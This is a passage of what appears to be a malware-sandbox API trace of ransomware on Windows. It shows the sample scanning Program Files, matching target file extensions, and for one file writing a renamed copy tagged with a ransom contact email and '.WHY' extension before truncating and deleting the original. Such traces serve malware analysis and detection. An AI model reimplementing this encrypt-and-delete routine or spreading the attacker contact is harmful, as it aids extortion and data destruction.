(lpString1=".rar", lpString2=".mui") returned 1 [0229.025] lstrlenW (lpString=".bz2") returned 4 [0229.025] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0229.025] lstrlenW (lpString=".7z") returned 3 [0229.025] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0229.025] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\en-US\\WMM2CLIP.dll.mui") returned 49 [0229.025] lstrlenW (lpString=".dbf") returned 4 [0229.025] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0229.025] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\en-US\\WMM2CLIP.dll.mui") returned 49 [0229.025] lstrlenW (lpString=".1cd") returned 4 [0229.025] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0229.025] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\en-US\\WMM2CLIP.dll.mui") returned 49 [0229.025] lstrlenW (lpString=".jpg") returned 4 [0229.025] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0229.026] lstrcmpiW (lpString1=".TTF", lpString2=".WHY") returned -1 [0229.026] lstrlenW (lpString="Eurosti.TTF") returned 11 [0229.026] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Eurosti.TTF" (normalized: "c:\\program files\\dvd maker\\eurosti.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0229.027] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x366ff1c | out: lpFileSize=0x366ff1c*=56760) returned 1 [0229.027] CloseHandle (hObject=0x380) returned 1 [0229.027] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Eurosti.TTF" (normalized: "c:\\program files\\dvd maker\\eurosti.ttf")) returned 0x20 [0229.027] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Eurosti.TTF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\dvd maker\\eurosti.ttf.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0229.027] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Eurosti.TTF" (normalized: "c:\\program files\\dvd maker\\eurosti.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0229.028] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Eurosti.TTF") returned 38 [0229.028] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Eurosti.TTF") returned 38 [0229.028] lstrlenW (lpString=".doc") returned 4 [0229.028] lstrcmpiW (lpString1=".doc", lpString2=".TTF") returned -1 [0229.028] lstrlenW (lpString=".docx") returned 5 [0229.028] lstrcmpiW (lpString1=".docx", lpString2="i.TTF") returned -1 [0229.028] lstrlenW (lpString=".pdf") returned 4 [0229.028] lstrcmpiW (lpString1=".pdf", lpString2=".TTF") returned -1 [0229.028] lstrlenW (lpString=".xls") returned 4 [0229.028] lstrcmpiW (lpString1=".xls", lpString2=".TTF") returned 1 [0229.028] lstrlenW (lpString=".xlsx") returned 5 [0229.028] lstrcmpiW (lpString1=".xlsx", lpString2="i.TTF") returned -1 [0229.028] lstrlenW (lpString=".ppt") returned 4 [0229.029] lstrcmpiW (lpString1=".ppt", lpString2=".TTF") returned -1 [0229.029] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Eurosti.TTF") returned 38 [0229.029] lstrlenW (lpString=".zip") returned 4 [0229.029] lstrcmpiW (lpString1=".zip", lpString2=".TTF") returned 1 [0229.029] lstrlenW (lpString=".rar") returned 4 [0229.029] lstrcmpiW (lpString1=".rar", lpString2=".TTF") returned -1 [0229.029] lstrlenW (lpString=".bz2") returned 4 [0229.029] lstrcmpiW (lpString1=".bz2", lpString2=".TTF") returned -1 [0229.029] lstrlenW (lpString=".7z") returned 3 [0229.029] lstrcmpiW (lpString1=".7z", lpString2="TTF") returned -1 [0229.029] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Eurosti.TTF") returned 38 [0229.029] lstrlenW (lpString=".dbf") returned 4 [0229.029] lstrcmpiW (lpString1=".dbf", lpString2=".TTF") returned -1 [0229.029] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Eurosti.TTF") returned 38 [0229.029] lstrlenW (lpString=".1cd") returned 4 [0229.030] lstrcmpiW (lpString1=".1cd", lpString2=".TTF") returned -1 [0229.030] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Eurosti.TTF") returned 38 [0229.030] lstrlenW (lpString=".jpg") returned 4 [0229.030] lstrcmpiW (lpString1=".jpg", lpString2=".TTF") returned -1 [0229.030] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Eurosti.TTF") returned 38 [0229.030] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Eurosti.TTF") returned 38 [0229.030] lstrlenW (lpString=".doc") returned 4 [0229.030] lstrcmpiW (lpString1=".doc", lpString2=".TTF") returned -1 [0229.030] lstrlenW (lpString=".docx") returned 5 [0229.030] lstrcmpiW (lpString1=".docx", lpString2="i.TTF") returned -1 [0229.030] lstrlenW (lpString=".pdf") returned 4 [0229.030] lstrcmpiW (lpString1=".pdf", lpString2=".TTF") returned -1 [0229.030] lstrlenW (lpString=".xls") returned 4 [0229.031] lstrcmpiW (lpString1=".xls", lpString2=".TTF") returned 1 [0229.031] lstrlenW (lpString=".xlsx") returned 5 [0229.031] lstrcmpiW (lpString1=".xlsx", lpString2="i.TTF") returned -1 [0229.031] lstrlenW (lpString=".ppt") returned 4 [0229.031] lstrcmpiW (lpString1=".ppt", lpString2=".TTF") returned -1 [0229.031] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Eurosti.TTF") returned 38 [0229.031] lstrlenW (lpString=".zip") returned 4 [0229.031] lstrcmpiW (lpString1=".zip", lpString2=".TTF") returned 1 [0229.031] lstrlenW (lpString=".rar") returned 4 [0229.031] lstrcmpiW (lpString1=".rar", lpString2=".TTF") returned -1 [0229.031] lstrlenW (lpString=".bz2") returned 4 [0229.031] lstrcmpiW (lpString1=".bz2", lpString2=".TTF") returned -1 [0229.031] lstrlenW (lpString=".7z") returned 3 [0229.031] lstrcmpiW (lpString1=".7z", lpString2="TTF") returned -1 [0229.032] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Eurosti.TTF") returned 38 [0229.032] lstrlenW (lpString=".dbf") returned 4 [0229.032] lstrcmpiW (lpString1=".dbf", lpString2=".TTF") returned -1 [0229.032] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Eurosti.TTF") returned 38 [0229.032] lstrlenW (lpString=".1cd") returned 4 [0229.032] lstrcmpiW (lpString1=".1cd", lpString2=".TTF") returned -1 [0229.032] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Eurosti.TTF") returned 38 [0229.032] lstrlenW (lpString=".jpg") returned 4 [0229.032] lstrcmpiW (lpString1=".jpg", lpString2=".TTF") returned -1 [0229.033] lstrcmpiW (lpString1=".ax", lpString2=".WHY") returned -1 [0229.033] lstrlenW (lpString="fieldswitch.ax") returned 14 [0229.034] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\fieldswitch.ax" (normalized: "c:\\program files\\dvd maker\\fieldswitch.ax"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0229.035] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x366ff1c | out: lpFileSize=0x366ff1c*=41472) returned 1 [0229.036] CloseHandle (hObject=0x380) returned 1 [0229.036] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\fieldswitch.ax" (normalized: "c:\\program files\\dvd maker\\fieldswitch.ax")) returned 0x20 [0229.036] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\fieldswitch.ax.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\dvd maker\\fieldswitch.ax.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0229.036] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\fieldswitch.ax" (normalized: "c:\\program files\\dvd maker\\fieldswitch.ax"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0229.040] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\fieldswitch.ax") returned 41 [0229.040] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\fieldswitch.ax") returned 41 [0229.040] lstrlenW (lpString=".doc") returned 4 [0229.040] lstrcmpiW (lpString1=".doc", lpString2="h.ax") returned -1 [0229.040] lstrlenW (lpString=".docx") returned 5 [0229.040] lstrcmpiW (lpString1=".docx", lpString2="ch.ax") returned -1 [0229.040] lstrlenW (lpString=".pdf") returned 4 [0229.040] lstrcmpiW (lpString1=".pdf", lpString2="h.ax") returned -1 [0229.040] lstrlenW (lpString=".xls") returned 4 [0229.040] lstrcmpiW (lpString1=".xls", lpString2="h.ax") returned -1 [0229.040] lstrlenW (lpString=".xlsx") returned 5 [0229.040] lstrcmpiW (lpString1=".xlsx", lpString2="ch.ax") returned -1 [0229.041] lstrlenW (lpString=".ppt") returned 4 [0229.041] lstrcmpiW (lpString1=".ppt", lpString2="h.ax") returned -1 [0229.041] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\fieldswitch.ax") returned 41 [0229.041] lstrlenW (lpString=".zip") returned 4 [0229.041] lstrcmpiW (lpString1=".zip", lpString2="h.ax") returned -1 [0229.041] lstrlenW (lpString=".rar") returned 4 [0229.041] lstrcmpiW (lpString1=".rar", lpString2="h.ax") returned -1 [0229.041] lstrlenW (lpString=".bz2") returned 4 [0229.041] lstrcmpiW (lpString1=".bz2", lpString2="h.ax") returned -1 [0229.041] lstrlenW (lpString=".7z") returned 3 [0229.041] lstrcmpiW (lpString1=".7z", lpString2=".ax") returned -1 [0229.041] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\fieldswitch.ax") returned 41 [0229.041] lstrlenW (lpString=".dbf") returned 4 [0229.042] lstrcmpiW (lpString1=".dbf", lpString2="h.ax") returned -1 [0229.042] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\fieldswitch.ax") returned 41 [0229.042] lstrlenW (lpString=".1cd") returned 4 [0229.042] lstrcmpiW (lpString1=".1cd", lpString2="h.ax") returned -1 [0229.042] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\fieldswitch.ax") returned 41 [0229.042] lstrlenW (lpString=".jpg") returned 4 [0229.042] lstrcmpiW (lpString1=".jpg", lpString2="h.ax") returned -1 [0229.042] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\fieldswitch.ax") returned 41 [0229.042] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\fieldswitch.ax") returned 41 [0229.042] lstrlenW (lpString=".doc") returned 4 [0229.042] lstrcmpiW (lpString1=".doc", lpString2="h.ax") returned -1 [0229.042] lstrlenW (lpString=".docx") returned 5 [0229.042] lstrcmpiW (lpString1=".docx", lpString2="ch.ax") returned -1 [0229.042] lstrlenW (lpString=".pdf") returned 4 [0229.042] lstrcmpiW (lpString1=".pdf", lpString2="h.ax") returned -1 [0229.042] lstrlenW (lpString=".xls") returned 4 [0229.043] lstrcmpiW (lpString1=".xls", lpString2="h.ax") returned -1 [0229.043] lstrlenW (lpString=".xlsx") returned 5 [0229.043] lstrcmpiW (lpString1=".xlsx", lpString2="ch.ax") returned -1 [0229.043] lstrlenW (lpString=".ppt") returned 4 [0229.043] lstrcmpiW (lpString1=".ppt", lpString2="h.ax") returned -1 [0229.043] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\fieldswitch.ax") returned 41 [0229.043] lstrlenW (lpString=".zip") returned 4 [0229.043] lstrcmpiW (lpString1=".zip", lpString2="h.ax") returned -1 [0229.043] lstrlenW (lpString=".rar") returned 4 [0229.043] lstrcmpiW (lpString1=".rar", lpString2="h.ax") returned -1 [0229.043] lstrlenW (lpString=".bz2") returned 4 [0229.043] lstrcmpiW (lpString1=".bz2", lpString2="h.ax") returned -1 [0229.043] lstrlenW (lpString=".7z") returned 3 [0229.043] lstrcmpiW (lpString1=".7z", lpString2=".ax") returned -1 [0229.044] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\fieldswitch.ax") returned 41 [0229.044] lstrlenW (lpString=".dbf") returned 4 [0229.044] lstrcmpiW (lpString1=".dbf", lpString2="h.ax") returned -1 [0229.044] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\fieldswitch.ax") returned 41 [0229.044] lstrlenW (lpString=".1cd") returned 4 [0229.044] lstrcmpiW (lpString1=".1cd", lpString2="h.ax") returned -1 [0229.044] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\fieldswitch.ax") returned 41 [0229.044] lstrlenW (lpString=".jpg") returned 4 [0229.044] lstrcmpiW (lpString1=".jpg", lpString2="h.ax") returned -1 [0229.045] lstrcmpiW (lpString1=".ax", lpString2=".WHY") returned -1 [0229.045] lstrlenW (lpString="offset.ax") returned 9 [0229.045] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\offset.ax" (normalized: "c:\\program files\\dvd maker\\offset.ax"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0229.046] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x366ff1c | out: lpFileSize=0x366ff1c*=43008) returned 1 [0229.046] CloseHandle (hObject=0x380) returned 1 [0229.046] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\offset.ax" (normalized: "c:\\program files\\dvd maker\\offset.ax")) returned 0x20 [0229.046] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\offset.ax.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\dvd maker\\offset.ax.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0229.046] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\offset.ax" (normalized: "c:\\program files\\dvd maker\\offset.ax"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0229.047] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\offset.ax") returned 36 [0229.047] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\offset.ax") returned 36 [0229.047] lstrlenW (lpString=".doc") returned 4 [0229.047] lstrcmpiW (lpString1=".doc", lpString2="t.ax") returned -1 [0229.047] lstrlenW (lpString=".docx") returned 5 [0229.047] lstrcmpiW (lpString1=".docx", lpString2="et.ax") returned -1 [0229.047] lstrlenW (lpString=".pdf") returned 4 [0229.047] lstrcmpiW (lpString1=".pdf", lpString2="t.ax") returned -1 [0229.047] lstrlenW (lpString=".xls") returned 4 [0229.047] lstrcmpiW (lpString1=".xls", lpString2="t.ax") returned -1 [0229.047] lstrlenW (lpString=".xlsx") returned 5 [0229.047] lstrcmpiW (lpString1=".xlsx", lpString2="et.ax") returned -1 [0229.047] lstrlenW (lpString=".ppt") returned 4 [0229.047] lstrcmpiW (lpString1=".ppt", lpString2="t.ax") returned -1 [0229.047] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\offset.ax") returned 36 [0229.047] lstrlenW (lpString=".zip") returned 4 [0229.047] lstrcmpiW (lpString1=".zip", lpString2="t.ax") returned -1 [0229.048] lstrlenW (lpString=".rar") returned 4 [0229.048] lstrcmpiW (lpString1=".rar", lpString2="t.ax") returned -1 [0229.048] lstrlenW (lpString=".bz2") returned 4 [0229.048] lstrcmpiW (lpString1=".bz2", lpString2="t.ax") returned -1 [0229.048] lstrlenW (lpString=".7z") returned 3 [0229.048] lstrcmpiW (lpString1=".7z", lpString2=".ax") returned -1 [0229.048] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\offset.ax") returned 36 [0229.048] lstrlenW (lpString=".dbf") returned 4 [0229.048] lstrcmpiW (lpString1=".dbf", lpString2="t.ax") returned -1 [0229.048] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\offset.ax") returned 36 [0229.048] lstrlenW (lpString=".1cd") returned 4 [0229.048] lstrcmpiW (lpString1=".1cd", lpString2="t.ax") returned -1 [0229.048] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\offset.ax") returned 36 [0229.211] lstrlenW (lpString=".jpg") returned 4 [0229.211] lstrcmpiW (lpString1=".jpg", lpString2="t.ax") returned -1 [0229.211] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\offset.ax") returned 36 [0229.211] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\offset.ax") returned 36 [0229.211] lstrlenW (lpString=".doc") returned 4 [0229.211] lstrcmpiW (lpString1=".doc", lpString2="t.ax") returned -1 [0229.211] lstrlenW (lpString=".docx") returned 5 [0229.211] lstrcmpiW (lpString1=".docx", lpString2="et.ax") returned -1 [0229.212] lstrlenW (lpString=".pdf") returned 4 [0229.212] lstrcmpiW (lpString1=".pdf", lpString2="t.ax") returned -1 [0229.212] lstrlenW (lpString=".xls") returned 4 [0229.212] lstrcmpiW (lpString1=".xls", lpString2="t.ax") returned -1 [0229.212] lstrlenW (lpString=".xlsx") returned 5 [0229.212] lstrcmpiW (lpString1=".xlsx", lpString2="et.ax") returned -1 [0229.212] lstrlenW (lpString=".ppt") returned 4 [0229.212] lstrcmpiW (lpString1=".ppt", lpString2="t.ax") returned -1 [0229.212] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\offset.ax") returned 36 [0229.212] lstrlenW (lpString=".zip") returned 4 [0229.212] lstrcmpiW (lpString1=".zip", lpString2="t.ax") returned -1 [0229.212] lstrlenW (lpString=".rar") returned 4 [0229.213] lstrcmpiW (lpString1=".rar", lpString2="t.ax") returned -1 [0229.213] lstrlenW (lpString=".bz2") returned 4 [0229.213] lstrcmpiW (lpString1=".bz2", lpString2="t.ax") returned -1 [0229.213] lstrlenW (lpString=".7z") returned 3 [0229.213] lstrcmpiW (lpString1=".7z", lpString2=".ax") returned -1 [0229.213] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\offset.ax") returned 36 [0229.213] lstrlenW (lpString=".dbf") returned 4 [0229.213] lstrcmpiW (lpString1=".dbf", lpString2="t.ax") returned -1 [0229.213] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\offset.ax") returned 36 [0229.213] lstrlenW (lpString=".1cd") returned 4 [0229.213] lstrcmpiW (lpString1=".1cd", lpString2="t.ax") returned -1 [0229.213] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\offset.ax") returned 36 [0229.213] lstrlenW (lpString=".jpg") returned 4 [0229.213] lstrcmpiW (lpString1=".jpg", lpString2="t.ax") returned -1 [0229.214] lstrcmpiW (lpString1=".rll", lpString2=".WHY") returned -1 [0229.214] lstrlenW (lpString="msolui100.rll") returned 13 [0229.214] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033\\msolui100.rll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0 [0229.677] GetFileSizeEx (in: hFile=0x2d0, lpFileSize=0x366ff1c | out: lpFileSize=0x366ff1c*=14872) returned 1 [0229.677] CloseHandle (hObject=0x2d0) returned 1 [0229.678] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033\\msolui100.rll")) returned 0x20 [0229.687] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033\\msolui100.rll.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0229.687] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033\\msolui100.rll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0 [0229.687] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec8 | out: lpNewFilePointer=0x0) returned 1 [0229.687] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec8 | out: lpNewFilePointer=0x0) returned 1 [0229.687] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033\\msolui100.rll.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0230.466] GetLastError () returned 0x0 [0230.466] ReadFile (in: hFile=0x2d0, lpBuffer=0x4160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fed4, lpOverlapped=0x0 | out: lpBuffer=0x4160020*, lpNumberOfBytesRead=0x366fed4*=0x3a18, lpOverlapped=0x0) returned 1 [0230.750] WriteFile (in: hFile=0x380, lpBuffer=0x4160020*, nNumberOfBytesToWrite=0x3a20, lpNumberOfBytesWritten=0x366fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4160020*, lpNumberOfBytesWritten=0x366fc9c*=0x3a20, lpOverlapped=0x0) returned 1 [0230.756] ReadFile (in: hFile=0x2d0, lpBuffer=0x4160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fed4, lpOverlapped=0x0 | out: lpBuffer=0x4160020*, lpNumberOfBytesRead=0x366fed4*=0x0, lpOverlapped=0x0) returned 1 [0230.757] WriteFile (in: hFile=0x380, lpBuffer=0x4160020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x366fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4160020*, lpNumberOfBytesWritten=0x366fc9c*=0xee, lpOverlapped=0x0) returned 1 [0230.757] SetEndOfFile (hFile=0x380) returned 1 [0230.757] CloseHandle (hObject=0x380) returned 1 [0230.759] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec8 | out: lpNewFilePointer=0x0) returned 1 [0230.759] SetEndOfFile (hFile=0x2d0) returned 1 [0230.838] CloseHandle (hObject=0x2d0) returned 1 [0230.838] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0230.839] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033\\msolui100.rll")) returned 1 [0230.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll") returned 85 [0230.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll") returned 85 [0230.840] lstrlenW (lpString=".doc") returned 4 [0230.840] lstrcmpiW (lpString1=".doc", lpString2=".rll") returned -1 [0230.840] lstrlenW (lpString=".docx") returned 5 [0230.840] lstrcmpiW (lpString1=".docx", lpString2="0.rll") returned -1 [0230.840] lstrlenW (lpString=".pdf") returned 4 [0230.840] lstrcmpiW (lpString1=".pdf", lpString2=".rll") returned -1 [0230.840] lstrlenW (lpString=".xls") returned 4 [0230.840] lstrcmpiW (lpString1=".xls", lpString2=".rll") returned 1 [0230.841] lstrlenW (lpString=".xlsx") returned 5 [0230.841] lstrcmpiW (lpString1=".xlsx", lpString2="0.rll") returned -1 [0230.841] lstrlenW (lpString=".ppt") returned 4 [0230.841] lstrcmpiW (lpString1=".ppt", lpString2=".rll") returned -1 [0230.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll") returned 85 [0230.841] lstrlenW (lpString=".zip") returned 4 [0230.841] lstrcmpiW (lpString1=".zip", lpString2=".rll") returned 1 [0230.841] lstrlenW (lpString=".rar") returned 4 [0230.841] lstrcmpiW (lpString1=".rar", lpString2=".rll") returned -1 [0230.841] lstrlenW (lpString=".bz2") returned 4 [0230.841] lstrcmpiW (lpString1=".bz2", lpString2=".rll") returned -1 [0230.841] lstrlenW (lpString=".7z") returned 3 [0230.842] lstrcmpiW (lpString1=".7z", lpString2="rll") returned -1 [0230.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll") returned 85 [0230.842] lstrlenW (lpString=".dbf") returned 4 [0230.842] lstrcmpiW (lpString1=".dbf", lpString2=".rll") returned -1 [0230.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll") returned 85 [0230.842] lstrlenW (lpString=".1cd") returned 4 [0230.842] lstrcmpiW (lpString1=".1cd", lpString2=".rll") returned -1 [0230.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll") returned 85 [0230.842] lstrlenW (lpString=".jpg") returned 4 [0230.842] lstrcmpiW (lpString1=".jpg", lpString2=".rll") returned -1 [0230.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll") returned 85 [0230.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll") returned 85 [0230.997] lstrlenW (lpString=".doc") returned 4 [0230.997] lstrcmpiW (lpString1=".doc", lpString2=".rll") returned -1 [0230.997] lstrlenW (lpString=".docx") returned 5 [0230.997] lstrcmpiW (lpString1=".docx", lpString2="0.rll") returned -1 [0230.998] lstrlenW (lpString=".pdf") returned 4 [0230.998] lstrcmpiW (lpString1=".pdf", lpString2=".rll") returned -1 [0230.998] lstrlenW (lpString=".xls") returned 4 [0230.998] lstrcmpiW (lpString1=".xls", lpString2=".rll") returned 1 [0230.998] lstrlenW (lpString=".xlsx") returned 5 [0230.998] lstrcmpiW (lpString1=".xlsx", lpString2="0.rll") returned -1 [0230.998] lstrlenW (lpString=".ppt") returned 4 [0230.998] lstrcmpiW (lpString1=".ppt", lpString2=".rll") returned -1 [0230.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll") returned 85 [0230.998] lstrlenW (lpString=".zip") returned 4 [0230.998] lstrcmpiW (lpString1=".zip", lpString2=".rll") returned 1 [0230.998] lstrlenW (lpString=".rar") returned 4 [0230.999] lstrcmpiW (lpString1=".rar", lpString2=".rll") returned -1 [0230.999] lstrlenW (lpString=".bz2") returned 4 [0230.999] lstrcmpiW (lpString1=".bz2", lpString2=".rll") returned -1 [0230.999] lstrlenW (lpString=".7z") returned 3 [0230.999] lstrcmpiW (lpString1=".7z", lpString2="rll") returned -1 [0230.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll") returned 85 [0231.000] lstrlenW (lpString=".dbf") returned 4 [0231.000] lstrcmpiW (lpString1=".dbf", lpString2=".rll") returned -1 [0231.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll") returned 85 [0231.000] lstrlenW (lpString=".1cd") returned 4 [0231.000] lstrcmpiW (lpString1=".1cd", lpString2=".rll") returned -1 [0231.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll") returned 85 [0231.000] lstrlenW (lpString=".jpg") returned 4 [0231.000] lstrcmpiW (lpString1=".jpg", lpString2=".rll") returned -1 [0231.001] lstrcmpiW (lpString1=".MID", lpString2=".WHY") returned -1 [0231.001] lstrlenW (lpString="CMNTY_01.MID") returned 12 [0231.001] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cmnty_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0231.245] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x366ff1c | out: lpFileSize=0x366ff1c*=6970) 